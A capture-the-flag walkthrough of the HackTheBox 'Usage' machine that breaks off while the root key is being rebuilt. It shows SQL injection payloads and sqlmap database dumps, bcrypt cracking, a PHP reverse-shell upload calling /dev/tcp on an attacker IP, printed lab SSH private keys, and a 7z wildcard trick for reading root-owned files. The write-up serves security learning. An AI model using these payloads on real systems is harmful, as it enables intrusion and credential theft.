Usage – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Easy
  • Platform: HackTheBox

‘Usage’ Avatar


Summary Link to heading

Usage is an easy Linux machine from HackTheBox. After an initial scan above TCP ports, they show the victim machine is running a website. This website presents a simple login panel, where we are able to create an account and find a new subdomain for the site. There is an option for our created user to restart our password; nevertheless, this function is vulnerable to SQL Injection. Thanks to this vulnerability, we are able to find the password for the admin panel in the previously found subdomain. Once inside this panel, we see that it is using a vulnerable Laravel version to CVE-2023-24249. Thanks to this new vulnerability, we are able to gain access into the victim machine. Once inside, we are able to find credentials into some readable files and pivot to a new user. This new user can run a custom binary along with sudo. Using Ghidra we apply Reverse engineering over this binary and find it is running 7z along with wildcard character (*). This allows us to read files owned by root, like its SSH key; which allows us to connect as root via SSH and complete the machine.


User Link to heading

We start with Nmap scanning for open TCP ports:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.18

Nmap scan shows only 2 ports open: 22 SSH and 80 HTTP:

❯ sudo nmap -sVC -p22,80 10.10.11.18 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-30 20:04 -04
Nmap scan report for 10.10.11.18
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.96 seconds

From the scan I note that it is redirecting to http://usage.htb, so I add this domain to my /etc/hosts file running:

❯ echo '10.10.11.18 usage.htb' | sudo tee -a /etc/hosts

Using WhatWeb on this site shows that the page is running on Laravel:

❯ whatweb -a 3 http://usage.htb

http://usage.htb [200 OK] Bootstrap[4.1.3], Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[laravel_session], IP[10.10.11.18], Laravel, PasswordField[password], Title[Daily Blogs], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]

Visiting http://usage.htb from an internet browser shows a simple login panel:

Usage 1

Since I don’t have credentials I will create a simple account clicking at the top right on Register. This redirects us to http://usage.htb/registration. There we create a simple account:

Usage 2

Log in the panel at http://usage.htb with the created account and we can see now the page:

Usage 3

but the site itself do not show anything interesting.

I also note at the top right I can see an Admin that redirects to admin.usage.htb, so I add this new domain to my /etc/hosts file, so now this file looks like:

❯ tail -n 1 /etc/hosts

10.10.11.18 usage.htb admin.usage.htb

Visiting http://admin.usage.htb shows another login panel:

Usage 4

but, again, I am not able to see something interesting.

One last thing to check is the Reset Password button. It redirects to http://usage.htb/forget-password:

Usage 5

I will put a random e-mail and intercept the request with Burpsuite. The request looks like:

POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: http://usage.htb
DNT: 1
Connection: close
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IkU0OFBzSlVIZUtkNi9FMTdqYU1oTWc9PSIsInZhbHVlIjoiL21JRGJoNko0VXloTis3anNhN3o4QjEzVnM3VXpyZzR1eEp5dGNoNVFrbjl2ZnhZWW11MjJQNk14SGs1MmQ2ZXhVTExVRnNJSkRIaldCblpFTHNUZDE4VHBsU00rQmFVbGRFRUt2eGliMnpQc0ZaVTl1YTRDREdsYzk3elVJRm0iLCJtYWMiOiJiOGFlNzcxY2M0Yzg0N2QxMmNlMzE4MDNjYzgxM2NjN2JhODcxNzQ2MjMwNDZmMTIzYjJjYTRhY2MwZDBmYzY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdNSGFCZ2ZhZHAwZGhUVk1IV1hGblE9PSIsInZhbHVlIjoiR2pFTXBvTmJ1d1FSY3doVkxjTWwrMU8rWC9TbVhXREY1endLUFJmRjA2Sk51MHFKZ2RrTENHRXRyWDU1NFN3dzBmZ0pPSndGUzRGQVhWOUl4cFBvRkY4YTlFcGgyQmh3Tjc0aWxVdzFlamhkQnl2MVNqeStTNU5ZNG1mUGttSG0iLCJtYWMiOiI3N2E3MGEyYjhlMGMwODUxODcwOTM3NTBhYTVlMzliNWY1ZDQyZWU4NjUxZWE2YWU2NTU3ZWM1OTEyODg3MjVhIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1

_token=gOcHdqPJZFjMfEbgKpc027onHHcAX91A1bzez6Ay&email=test%40test.com

I send this to the Repeater and start playing with the parameters. Playing with email parameter gives us something. If I send the SQL Injection (SQLi) payload:

ORDER BY 8-- -

with Burpsuite in email parameter:

POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Origin: http://usage.htb
DNT: 1
Connection: close
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IkU0OFBzSlVIZUtkNi9FMTdqYU1oTWc9PSIsInZhbHVlIjoiL21JRGJoNko0VXloTis3anNhN3o4QjEzVnM3VXpyZzR1eEp5dGNoNVFrbjl2ZnhZWW11MjJQNk14SGs1MmQ2ZXhVTExVRnNJSkRIaldCblpFTHNUZDE4VHBsU00rQmFVbGRFRUt2eGliMnpQc0ZaVTl1YTRDREdsYzk3elVJRm0iLCJtYWMiOiJiOGFlNzcxY2M0Yzg0N2QxMmNlMzE4MDNjYzgxM2NjN2JhODcxNzQ2MjMwNDZmMTIzYjJjYTRhY2MwZDBmYzY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdNSGFCZ2ZhZHAwZGhUVk1IV1hGblE9PSIsInZhbHVlIjoiR2pFTXBvTmJ1d1FSY3doVkxjTWwrMU8rWC9TbVhXREY1endLUFJmRjA2Sk51MHFKZ2RrTENHRXRyWDU1NFN3dzBmZ0pPSndGUzRGQVhWOUl4cFBvRkY4YTlFcGgyQmh3Tjc0aWxVdzFlamhkQnl2MVNqeStTNU5ZNG1mUGttSG0iLCJtYWMiOiI3N2E3MGEyYjhlMGMwODUxODcwOTM3NTBhYTVlMzliNWY1ZDQyZWU4NjUxZWE2YWU2NTU3ZWM1OTEyODg3MjVhIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1

_token=gOcHdqPJZFjMfEbgKpc027onHHcAX91A1bzez6Ay&email='+ORDER+BY+8--+-

this returns a code 302 Found. But if I change the payload to:

ORDER BY 9-- -

in Burpsuite with the request:

POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Origin: http://usage.htb
DNT: 1
Connection: close
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IkU0OFBzSlVIZUtkNi9FMTdqYU1oTWc9PSIsInZhbHVlIjoiL21JRGJoNko0VXloTis3anNhN3o4QjEzVnM3VXpyZzR1eEp5dGNoNVFrbjl2ZnhZWW11MjJQNk14SGs1MmQ2ZXhVTExVRnNJSkRIaldCblpFTHNUZDE4VHBsU00rQmFVbGRFRUt2eGliMnpQc0ZaVTl1YTRDREdsYzk3elVJRm0iLCJtYWMiOiJiOGFlNzcxY2M0Yzg0N2QxMmNlMzE4MDNjYzgxM2NjN2JhODcxNzQ2MjMwNDZmMTIzYjJjYTRhY2MwZDBmYzY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdNSGFCZ2ZhZHAwZGhUVk1IV1hGblE9PSIsInZhbHVlIjoiR2pFTXBvTmJ1d1FSY3doVkxjTWwrMU8rWC9TbVhXREY1endLUFJmRjA2Sk51MHFKZ2RrTENHRXRyWDU1NFN3dzBmZ0pPSndGUzRGQVhWOUl4cFBvRkY4YTlFcGgyQmh3Tjc0aWxVdzFlamhkQnl2MVNqeStTNU5ZNG1mUGttSG0iLCJtYWMiOiI3N2E3MGEyYjhlMGMwODUxODcwOTM3NTBhYTVlMzliNWY1ZDQyZWU4NjUxZWE2YWU2NTU3ZWM1OTEyODg3MjVhIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1

_token=gOcHdqPJZFjMfEbgKpc027onHHcAX91A1bzez6Ay&email='+ORDER+BY+9--+-

we get code 500 Internal Server Error.

Usage 6

This might indicate a “Boolean-based blind SQLi”.

So I will start using SQLMap since we have detected the injectable parameter. In Burpsuite, I will right click on the request (with the parameter email=test@test.com), and then select Copy to file option and save it as request.req. Then, start using SQLMap:

❯ sqlmap -r request.req --batch -p 'email' --level 5 --risk 2 --technique=B

<SNIP>
[21:43:06] [INFO] checking if the injection point on POST parameter 'email' is a false positive
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 159 HTTP(s) requests:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=gOcHdqPJZFjMfEbgKpc027onHHcAX91A1bzez6Ay&email=test@test.com' AND 4290=(SELECT (CASE WHEN (4290=4290) THEN 4290 ELSE (SELECT 3154 UNION SELECT 6462) END))-- ENph
---
[21:43:28] [INFO] testing MySQL
[21:43:30] [INFO] confirming MySQL
[21:43:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 8.0.0
[21:43:34] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 76 times
<SNIP>

where --technique=B specifies the technique “Boolean-based blind” injection (and save us a lot of time) as we have found.

Then extract databases with --dbs flag:

❯ sqlmap -r request.req --batch --dbs --threads 10

<SNIP>
[21:48:56] [INFO] retrieved: information_schema
[21:48:56] [INFO] retrieving the length of query output
[21:48:56] [INFO] retrieved: 18
[21:49:19] [INFO] retrieved: performance_schema
[21:49:19] [INFO] retrieving the length of query output
[21:49:19] [INFO] retrieved: 10
[21:49:36] [INFO] retrieved: usage_blog
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
<SNIP>

usage_blog database seems interesting. Check its tables using --tables flag and selecting it with -D flag:

❯ sqlmap -r request.req --batch -D usage_blog --tables --threads 10

<SNIP>
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu             |
| admin_operation_log    |
| admin_permissions      |
| admin_role_menu        |
| admin_role_permissions |
| admin_role_users       |
| admin_roles            |
| admin_user_permissions |
| admin_users            |
| blog                   |
| failed_jobs            |
| migrations             |
| password_reset_tokens  |
| personal_access_tokens |
| users                  |
+------------------------+
<SNIP>

Now, we can use -T to select a table, -C to select the columns we are interested in, and --dump to extract the info on them. First, I decide to check users table. I extract the credentials from the user I have just created and get some other users:

❯ sqlmap -r request.req --batch -D usage_blog -T users -C name,email,password --dump --threads 10

<SNIP>
Database: usage_blog
Table: users
[3 entries]
+---------+---------------------+--------------------------------------------------------------+
| name    | email               | password                                                     |
+---------+---------------------+--------------------------------------------------------------+
| gunzf0x | gunzf0x@gunzf0x.htb | $2y$10$Iwn4leouz.OMaCrCrNAnju3DeLg44iBomGinDkBvoJi1yzT3L2lhm |
| raj     | raj@raj.com         | $2y$10$7ALmTTEYfRVd8Rnyep/ck.bSFKfXfsltPLkyQqSp/TT7X1wApJt4. |
| raj     | raj@usage.htb       | $2y$10$rbNCGxpWp1HSpO1gQX4uPO.pDg1nszoI/UhwHvfHDdfdfo9VmDJsa |
+---------+---------------------+--------------------------------------------------------------+
<SNIP>

I save these hashes into a file and attempt a Brute Force Password Cracking with the tool JohnTheRipper (john) and get:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt raj_credentials

Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xander           (raj2)
xander           (raj1)
2g 0:00:00:37 DONE (2024-05-30 22:11) 0.05376g/s 59.27p/s 118.5c/s 118.5C/s monalisa..iloveme2
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

so we have credentials: raj:xander.

I can log in with these credentials to http://usage.htb, but I see exactly the same as my generic account. Nothing new, sadly. These credentials do not work at http://admin.usage.htb either.

Back to SQLMap I remember an admin_users table. I try to dump its content, where I can see a username and password columns:

❯ sqlmap -r request.req --batch -D usage_blog -T admin_users -C username,password --dump --threads 10

<SNIP>
Database: usage_blog
Table: admin_users
[1 entry]
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 |
+----------+--------------------------------------------------------------+
<SNIP>

I save again this user and password and attempt, again, a Brute Force Password Cracking with john:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt admin_credentials

Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
whatever1        (admin)
1g 0:00:00:11 DONE (2024-05-30 22:17) 0.08598g/s 139.2p/s 139.2c/s 139.2C/s amber1..serena
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

where we find credentials: admin:whatever1

I use these credentials at http://admin.usage.htb and they work. We can now see:

Usage 7

where I can clearly see a version 10.18.0 for Laravel.

Searching for exploits for this version leads us to the vulnerability labeled as CVE-2023-24249. In short, this vulnerability allows us to execute arbitrary code via crafted PHP files. We can click on Administrator name at the top right, then on Settings and we should see a page like:

Usage 8

I note that when I upload a file, it is uploaded at https://admin.usage.htb/uploads/images/<image-name>. But after some time, the system applies a reset (deletes the uploaded file), so we must act quickly.

We will intercept the uploaded file with Burpsuite. Click on Reset and I will upload a random png image called sample.png. Then, when clicking on Submit it is intercepted by Burpsuite. In the image data I will add the PHP payload:

<?php system('bash -c "bash -i >& /dev/tcp/10.10.16.6/443 0>&1"'); ?>

where 10.10.16.6 is my attacker IP and 443 is the port I will start listening with netcat. Also, before uploading the image, I will set the filename as sample.png.php

Usage 9

Start a netcat listener on port 443:

❯ nc -lvnp 443

Upload the file and then quickly visit https://admin.usage.htb/uploads/images/sample.png.php. I get a shell as dash user on my listener:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.18] 33774
bash: cannot set terminal process group (1225): Inappropriate ioctl for device
bash: no job control in this shell
dash@usage:/var/www/html/project_admin/public/uploads/images$ whoami

whoami
dash

We could already get the user flag, but I check if we can connect via SSH. I note that this user has a SSH key at /home/dash/.ssh/:

dash@usage:/var/www/html/project_admin/public/uploads/images$ cat /home/dash/.ssh/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
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
63zj5LQZw2/NvnAAAACmRhc2hAdXNhZ2U=
-----END OPENSSH PRIVATE KEY-----

where I save this key as dash_id_rsa.

Once saved, assign to it permissions and use it to connect via SSH:

❯ nvim id_rsa_dash # save the key

❯ chmod 600 id_rsa_dash

❯ ssh -i id_rsa_dash dash@10.10.11.18
<SNIP>
The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Apr  8 12:35:43 2024 from 10.10.14.40
dash@usage:~$ whoami

dash

and we can get the user flag.


Root Link to heading

I will upload LinPEAS (that can be downloaded from its Github repository) using scp:

❯ scp -i id_rsa_dash linpeas.sh dash@10.10.11.18:/tmp/linpeas.sh

and assigning to it execution permissions in the target machine with chmod +x /tmp/linpeas.sh.

Running it finds a .env file with a password:

dash@usage:~$ /tmp/linpeas.sh

<SNIP>
╔══════════╣ Analyzing Backup Manager Files (limit 70)

-rwxrwxr-x 1 dash dash 5289 Aug 13  2023 /var/www/html/project_admin/config/database.php
<SNIP>
╔══════════╣ Analyzing Env Files (limit 70)
-rwxrwxr-x 1 dash dash 1176 Aug 23  2023 /var/www/html/project_admin/.env
<SNIP>
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=usage_blog
DB_USERNAME=staff
DB_PASSWORD=s3cr3t_c0d3d_1uth
<SNIP>

but I note this is the database we have dumped through SQL Injection|SQLi, so it is not worth wasting our time on it.

I check files in /home/dash directory. .monitrc is not a typical file. Checking it:

dash@usage:~$ cat .monitrc

#Monitoring Interval in Seconds
set daemon  60

#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd

#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
    if cpu > 80% for 2 cycles then alert


#System Monitoring
check system usage
    if memory usage > 80% for 2 cycles then alert
    if cpu usage (user) > 70% for 2 cycles then alert
        if cpu usage (system) > 30% then alert
    if cpu usage (wait) > 20% then alert
    if loadavg (1min) > 6 for 2 cycles then alert
    if loadavg (5min) > 4 for 2 cycles then alert
    if swap usage > 5% then alert

check filesystem rootfs with path /
       if space usage > 80% then alert

we have credentials: admin:3nc0d3d_pa$$w0rd.

Checking users in this machine we have:

dash@usage:~$ ls /home

dash  xander

I attempt to change to xander user with this new password (3nc0d3d_pa$$w0rd) and it works:

dash@usage:~$ su xander

Password:

xander@usage:/home/dash$

I check what commands can this user run with sudo and we have one program:

xander@usage:/home/dash$ sudo -l

Matching Defaults entries for xander on usage:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management

we find that we can execute /usr/bin/usage_management as root without providing a password.

It is a compiled binary:

xander@usage:/home/dash$ file /usr/bin/usage_management

/usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fdb8c912d98c85eb5970211443440a15d910ce7f, for GNU/Linux 3.2.0, not stripped

Using strings we have:

xander@usage:/home/dash$ strings /usr/bin/usage_management

/lib64/ld-linux-x86-64.so.2
chdir
__cxa_finalize
__libc_start_main
puts
system
__isoc99_scanf
perror
printf
libc.so.6
GLIBC_2.7
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):
Invalid choice.
:*3$"
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
Scrt1.o
<SNIP>

but it does not say much about how the binary works. Just that it gives some options.

Just to attempt some Reverse Engineering I pass this binary to my machine using scp. I run on my machine:

❯ scp -i id_rsa_dash dash@10.10.11.18:/usr/bin/usage_management ./usage_management

Then, I open this binary with Ghidra. Analyzing the main function this seems like a program written in C:

Usage 10

where the main function is:

undefined8 main(void)

{
  int local_c;
  
  puts("Choose an option:");
  puts("1. Project Backup");
  puts("2. Backup MySQL data");
  puts("3. Reset admin password");
  printf("Enter your choice (1/2/3): ");
  __isoc99_scanf(&DAT_0010214c,&local_c);
  if (local_c == 3) {
    resetAdminPassword();
    return 0;
  }
  if (local_c < 4) {
    if (local_c == 1) {
      backupWebContent();
      return 0;
    }
    if (local_c == 2) {
      backupMysqlData();
      return 0;
    }
  }
  puts("Invalid choice.");
  return 0;
}

As expected, selecting different options trigger different functions. Analyzing resetAdminPassword function (the one executed if we select option 3 in the binary) literally does nothing. Just prints a message:

void resetAdminPassword(void)

{
  puts("Password has been reset.");
  return;
}

But backupWebContent function (the one that is executed if we select the option 1. Project Backup) seems interesting:

void backupWebContent(void)

{
  int iVar1;
  
  iVar1 = chdir("/var/www/html");
  if (iVar1 == 0) {
    system("/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *");
  }
  else {
    perror("Error changing working directory to /var/www/html");
  }
  return;
}

It is executing with system 7z to create a backup. However, the “vulnerable” part here is the * (wildcard) symbol.

Checking at HackTricks how to exploit wildcards with 7z we see that we are able to read files owned by root user. The steps explained in the page are:

cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt

so we modify it for our purposes. As can be seen at backupWebContent function the 7z “acting folder” is /var/www/html. We can attempt to read /root/root.txt file or, to gain access as root user, attempt to read /root/.ssh/id_rsa file (hoping it exists). So we run in the victim machine:

xander@usage:/tmp$ cd /var/www/html

xander@usage:/var/www/html$ touch @id_rsa

xander@usage:/var/www/html$ ln -s /root/.ssh/id_rsa id_rsa

xander@usage:/var/www/html$ sudo /usr/bin/usage_management

Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Xeon(R) Gold 5218 CPU @ 2.30GHz (50657),ASM,AES-NI)

Open archive: /var/backups/project.zip
--
Path = /var/backups/project.zip
Type = zip
Physical Size = 54830415

Scanning the drive:

WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----


WARNING: No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW


WARNING: No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi


WARNING: No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q


WARNING: No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs


WARNING: No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=


WARNING: No more files
-----END OPENSSH PRIVATE KEY-----

2984 folders, 17948 files, 113879509 bytes (109 MiB)

Updating archive: /var/backups/project.zip

Items to compress: 20932


Files read from disk: 17948
Archive size: 54830556 bytes (53 MiB)

Scan WARNINGS for files and folders:

-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q : No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs : No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM= : No more files
-----END OPENSSH PRIVATE KEY----- : No more files
----------------
Scan WARNINGS: 7

where we can see the SSH key, but split on parts.

I “rebuild” the key and save it in my attacker machine:

❯ cat id_rsa_root

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
